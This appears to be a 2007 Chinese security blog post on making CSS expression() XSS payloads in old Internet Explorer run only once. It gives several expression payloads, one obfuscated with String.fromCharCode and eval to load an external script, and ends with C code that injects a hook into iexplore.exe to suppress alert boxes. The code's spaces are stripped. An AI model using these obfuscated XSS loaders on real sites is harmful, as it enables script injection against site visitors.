byjno
2007-11-29
http://www.ph4nt0m.org
当你第一次用expression方式来xss时,你肯定傻眼了,不停弹框,没法关闭浏览器,最终你只能祭出任务管理器将进程结束。也许你其他TAB页正有填到一半尚未提交的表单,你就这样被expression给日了,心里非常郁闷,于是就要想办法干它。
很多人第一反应就是cookie,没错这是个好办法:
<divstyle="width:expression(if(document.cookie.indexOf('xxxx')<0){alert(1);document.cookie='xxxx=1;'+document.cookie;})"></div>
不过这样写有个问题,就是被攻击者浏览器只能执行一次你的alert,cookie的作用域大于一次页面执行,适合用来做跨页面的标识,而不是仅仅用来控制一个页面里的某段代码的执行次数,而且你测试起来也挺麻烦,弄得不好就要清cookie。
循着这个思路很自然就会想到在页面里设置标识,于是就有了第二种方法:
<divstyle="width:expression(if(!window.xxx){alert(1);window.xxx=1;})"></div>
使用全局变量来做标识,使我的代码在这个页面级别只执行一次,这样是一个比较完美的办法,也是目前被使用的最多的办法。
但是到这里总还觉得不爽,虽然我的alert只被执行了一次,但是判断代码还是在被不停的执行,我们还是在被它日,只不过感觉不出来而已了,我们的目标是日它,办法就是执行完我们的代码后删除这条expression,翻阅MSDN你很快能找到合适的方法:
object.style.removeExpression(sPropertyName)
看起来很美,可是你把这个语句放进expression内部用它来删除expression自身却怎么也不能成功,该死的alert还是会一遍遍的弹出来。使用setTimeout延迟执行?失败;使用execScript在全局执行?失败;结合setTimeout和execScript在延迟在全局执行?还是失败;在body尾部append一个外部script来执行?失败;在body尾部append一个外部script并且setTimeout延迟并且execScript全局执行?草,终于tmd成功了:
<--1.htm------>
<html>
<style>
body{
width:expression(eval(String.fromCharCode(0x61,0x6C,0x65,0x72,0x74,0x28,0x31,0x29,0x3B,0x69,0x66,0x28,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x29,0x7B,0x76,0x61,0x72,0x20,0x73,0x3D,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x63,0x72,0x65,0x61,0x74,0x65,0x45,0x6C,0x65,0x6D,0x65,0x6E,0x74,0x28,0x22,0x73,0x63,0x72,0x69,0x70,0x74,0x22,0x29,0x3B,0x64,0x6F,0x63,0x75,0x6D,0x65,0x6E,0x74,0x2E,0x62,0x6F,0x64,0x79,0x2E,0x61,0x70,0x70,0x65,0x6E,0x64,0x43,0x68,0x69,0x6C,0x64,0x28,0x73,0x29,0x3B,0x73,0x2E,0x73,0x72,0x63,0x3D,0x22,0x31,0x2E,0x6A,0x73,0x22,0x3B,0x7D)));
/*alert(1);if(document.body){vars=document.createElement("script");document.body.appendChild(s);s.src="1.js";}*/
}
</style>
<body>
</body>
</html>
//--------1.js---------//
setTimeout(function(){execScript("document.body.style.removeExpression("width")");},0);
可是还有那么一点不完美,就是无论怎么样,最少也要执行两次,不过我爽了,总算把这个expression给日了。当然如果你是个完美主义者,可以用这个方法结合if(!window.xxx)法。
各位看官看到这里,可能已经严重怀疑我是被虐狂,这么多方法测试下来,我还不弹框框弹到崩溃?其实我并非浪得虚名,测之前早有准备,先厚者脸皮去幻影邮件列表跪求alert框框原理,没想到大家非常热情地给予帮助,最终zzzevazzz大侠最先找到实现API是MessageBoxIndirectW,从win2k源代码中觅得。然后又花上半日工夫草成一个hookMessageBoxIndirectW的小工具,可惜又遇到个小问题至今没有解决,这个函数的参数是个MSGBOXPARAMS结构体:
typedefstruct{
UINTcbSize;
HWNDhwndOwner;
HINSTANCEhInstance;
LPCTSTRlpszText;
LPCTSTRlpszCaption;
DWORDdwStyle;
LPCTSTRlpszIcon;
DWORD_PTRdwContextHelpId;
MSGBOXCALLBACKlpfnMsgBoxCallback;
DWORDdwLanguageId;
}MSGBOXPARAMS,*PMSGBOXPARAMS;
我写了个小程序测试发现只要把hwndOwner和dwStyle都置为0,这个对跨框就不是模态的,父窗口点关闭也可以关闭程序,我hook的目的也在于此,可是在IE里具体测试的时候,发现即使对话框不是模态的,我点关闭IE按钮也没法关闭IE窗口,所以这个方法只针对有TAB页的IE7有意义,对话框非模态后,我可以切换到其他TAB页去并关闭弹框的TAB页,但是对于IE6来说不能点关闭就没有意义,于是我干脆也不修改什么参数了,直接把这个函数返回掉了,代码在最后附上。
至此,我和expression的恩怨总算可以告一段落,整个世界清静了。
/*
*FileName:IEAlertPatch.c
*Version:1.0
*Contact:luoluonet@yahoo.cn
*P.S:ThankszzzEVAzzz,hefoundouttheAPIthatalertuses.
*/
#include<Windows.h>
#include<Tlhelp32.h>
#include<Imagehlp.h>
#pragmacomment(lib,"advapi32.lib")
//
//functionprototype
//
DWORDWINAPIGetProcessIdByName(LPCTSTRlpProcessName);
__inlineHookProc();
BOOLWINAPIHookAlert(DWORDpId);
LPVOIDGetSC(LPVOIDlpProc,DWORD*dwLen,DWORDdwReserved);
//
//startofwinmain
//
intAPIENTRYWinMain(HINSTANCEhInstance,HINSTANCEhPreInstance,LPSTRlpCmdLine,intnCmdShow)
{
DWORDpId;
OSVERSIONINFOEXosvi;
BOOLbRet;
TCHARprocName[]=TEXT("iexplore.exe");
ZeroMemory(&osvi,sizeof(OSVERSIONINFOEX));
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFOEX);
//
//Getsystemversion
//
bRet=GetVersionEx((OSVERSIONINFO*)&osvi);
if(!bRet)
{
osvi.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bRet=GetVersionEx((OSVERSIONINFO*)&osvi);
if(!bRet)
gotoFreeAndExit;
}
//VerifyifitisNTsystem
if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)
{
pId=GetProcessIdByName(procName);
if(pId!=0)
HookAlert(pId);
}
FreeAndExit:
return0;
}
//
//EndofWinMain
//
//
//@Name:GetProcessIdByName
//@Author:luoluo
//@Time:2005-04-17
//@Param:lpProcessNamespacifiestheProcessName
//@Ret:ifsuccess,returntheprocessid
//iffailed,return0
//
DWORDWINAPIGetProcessIdByName(LPCTSTRlpProcessName)
{
HANDLEhSnapshot;
DWORDdwRet=0;
LPPROCESSENTRY32pPe32;
BOOLbRet;
//Getalltheprocessesinthesnapshot
hSnapshot=CreateToolhelp32Snapshot(0x00000002,0);
if(hSnapshot==INVALID_HANDLE_VALUE)
{
gotoFreeAndExit;
}
pPe32=(LPPROCESSENTRY32)malloc(sizeof(PROCESSENTRY32));
ZeroMemory(pPe32,sizeof(PROCESSENTRY32));
pPe32->dwSize=sizeof(PROCESSENTRY32);
//Getthefirstprocess
bRet=Process32First(hSnapshot,pPe32);
if(!bRet)
{
gotoFreeAndExit;
}
if(stricmp(lpProcessName,pPe32->szExeFile)==0)
{
dwRet=pPe32->th32ProcessID;
gotoFreeAndExit;
}
//Travesaltheleftprocesses
while(TRUE)
{
bRet=Process32Next(hSnapshot,pPe32);
if(!bRet)
{
gotoFreeAndExit;
}
if(stricmp(lpProcessName,pPe32->szExeFile)==0)
{
dwRet=pPe32->th32ProcessID;
gotoFreeAndExit;
}
}
FreeAndExit:
if(pPe32!=NULL)free(pPe32);
if(hSnapshot!=NULL)CloseHandle(hSnapshot);
returndwRet;
}
__inline__declspec(naked)HookProc()
{
__asm
{
leave
retn4
/*
pushesi
movesi,[ebp+8h]
movdwordptr[esi+4h],0h//modifythehwnd
movdwordptr[esi+14h],0h//modifythetype
popesi
*/
_emit90h
_emit90h
_emit90h
_emit90h
}
}
LPVOIDGetSC(LPVOIDlpProc,DWORD*dwLen,DWORDdwReserved)
{
LPVOIDlpProc1=NULL;
LPVOIDlpSC=NULL;
__asm
{
pushebx
movebx,lpProc
decebx
_loop:
incebx
cmpdwordptr[ebx],90909090h
jne_loop
movlpProc1,ebx
popebx
}
*dwLen=(DWORD)lpProc1-(DWORD)lpProc;
lpSC=malloc(*dwLen+dwReserved);
memset(lpSC,0,*dwLen+dwReserved);
memcpy(lpSC,lpProc,*dwLen);
*dwLen+=dwReserved;
returnlpSC;
}
BOOLWINAPIHookAlert(DWORDpId)
{
HMODULEhModule=NULL;
DWORDdwMessageBoxIndirectW=0;
HANDLEhProcess;
HANDLEhToken;
TOKEN_PRIVILEGEStkp;
BOOLbRet=FALSE;
BOOLbRetVal;
LPVOIDlpCodeMemory;
MEMORY_BASIC_INFORMATIONmbi;
SIZE_TszRet;
DWORDdwOldProtect;
DWORDdwJmpOffset=0;
unsignedcharszJmpCode[5]={0};
unsignedcharszOldCode[5]={0};
LPVOIDlpHookCode=NULL;
DWORDdwHookCodeLen=0;
hModule=LoadLibrary("user32.dll");
dwMessageBoxIndirectW=(DWORD)GetProcAddress(hModule,"MessageBoxIndirectW");
lpHookCode=GetSC(&HookProc,&dwHookCodeLen,10);
if(lpHookCode==NULL)
{
gotoFreeAndExit;
}
//Openprocesstokentoajustprivileges
bRetVal=OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken);
if(!bRetVal)
{
gotoFreeAndExit;
}
//GettheLUIDfordebugprivilege
bRetVal=LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tkp.Privileges[0].Luid);
if(!bRetVal)
{
gotoFreeAndExit;
}
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
//Adjusttokenprivileges
bRetVal=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(&tkp),(PTOKEN_PRIVILEGES)NULL,0);
if(!bRetVal)
{
gotoFreeAndExit;
}
//Openremoteprocess
hProcess=OpenProcess(PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION,FALSE,pId);
if(hProcess==NULL)
{
gotoFreeAndExit;
}
//Read5bytefromfunctiontobehooked
bRetVal=ReadProcessMemory(hProcess,(LPCVOID)dwMessageBoxIndirectW,szOldCode,sizeof(szOldCode),NULL);
if(!bRetVal)
{
gotoFreeAndExit;
}
//Allocatememoryfromremoteprocess
lpCodeMemory=VirtualAllocEx(hProcess,NULL,dwHookCodeLen,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(lpCodeMemory==NULL)
{
gotoFreeAndExit;
}
//Querythepageinformation
ZeroMemory(&mbi,sizeof(MEMORY_BASIC_INFORMATION));
szRet=VirtualQueryEx(hProcess,lpCodeMemory,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
if(szRet==0)
{
gotoFreeAndExit;
}
//Modifythepageprotectionforwrite
bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&mbi.Protect);
if(!bRetVal)
{
gotoFreeAndExit;
}
//thefunctionhasbeenhooked
if(szOldCode[0]==((unsignedchar)'xE9'))
{
dwJmpOffset=(*((int*)(szOldCode+1)))+dwMessageBoxIndirectW+5-((DWORD)lpCodeMemory)-dwHookCodeLen+5;
memcpy(szOldCode+1,(LPVOID)(&dwJmpOffset),4);
}
//debuggerpresentandbreakpointhere
if(szOldCode[0]=='xCC')
{
gotoFreeAndExit;
}
//copythestartcodeoffuncitonhookedtotheendofhookcode
memcpy((LPVOID)(((DWORD)lpHookCode)+dwHookCodeLen-10),szOldCode,sizeof(szOldCode));
//codejmpbacktofunctionhooked
memset((LPVOID)(((DWORD)lpHookCode)+dwHookCodeLen-5),'xE9',1);
dwJmpOffset=dwMessageBoxIndirectW-((DWORD)lpCodeMemory)-dwHookCodeLen+5;
memcpy((LPVOID)(((DWORD)lpHookCode)+dwHookCodeLen-4),(LPVOID)(&dwJmpOffset),4);
//Writemycodetoremoteprocessmemory
bRetVal=WriteProcessMemory(hProcess,lpCodeMemory,lpHookCode,dwHookCodeLen,0);
if(!bRetVal)
{
VirtualFreeEx(hProcess,lpCodeMemory,dwHookCodeLen,MEM_RELEASE);
gotoFreeAndExit;
}
//Modifythepageprotectiontoprotect
bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
if(!bRetVal)
{
gotoFreeAndExit;
}
//hookcode
szJmpCode[0]='xE9';//jmp
dwJmpOffset=((DWORD)lpCodeMemory)-dwMessageBoxIndirectW-5;
memcpy(szJmpCode+1,(LPVOID)(&dwJmpOffset),4);
//Querythepageinformation
ZeroMemory(&mbi,sizeof(MEMORY_BASIC_INFORMATION));
szRet=VirtualQueryEx(hProcess,(LPVOID)dwMessageBoxIndirectW,&mbi,sizeof(MEMORY_BASIC_INFORMATION));
if(szRet==0)
{
gotoFreeAndExit;
}
//Modifythepageprotectionforwrite
bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&mbi.Protect);
if(!bRetVal)
{
gotoFreeAndExit;
}
//Writehookcodetothefunctontobehooked
bRetVal=WriteProcessMemory(hProcess,(LPVOID)dwMessageBoxIndirectW,szJmpCode,sizeof(szJmpCode),0);
if(!bRetVal)
{
gotoFreeAndExit;
}
//Modifythepageprotectiontoprotect
bRetVal=VirtualProtectEx(hProcess,mbi.BaseAddress,mbi.RegionSize,mbi.Protect,&dwOldProtect);
if(!bRetVal)
{
gotoFreeAndExit;
}
FreeAndExit:
if(hProcess!=NULL)
{
CloseHandle(hProcess);
}
if(hToken!=NULL)
{
CloseHandle(hToken);
}
if(lpHookCode!=NULL)
{
free(lpHookCode);
lpHookCode=NULL;
}
returnbRet;
}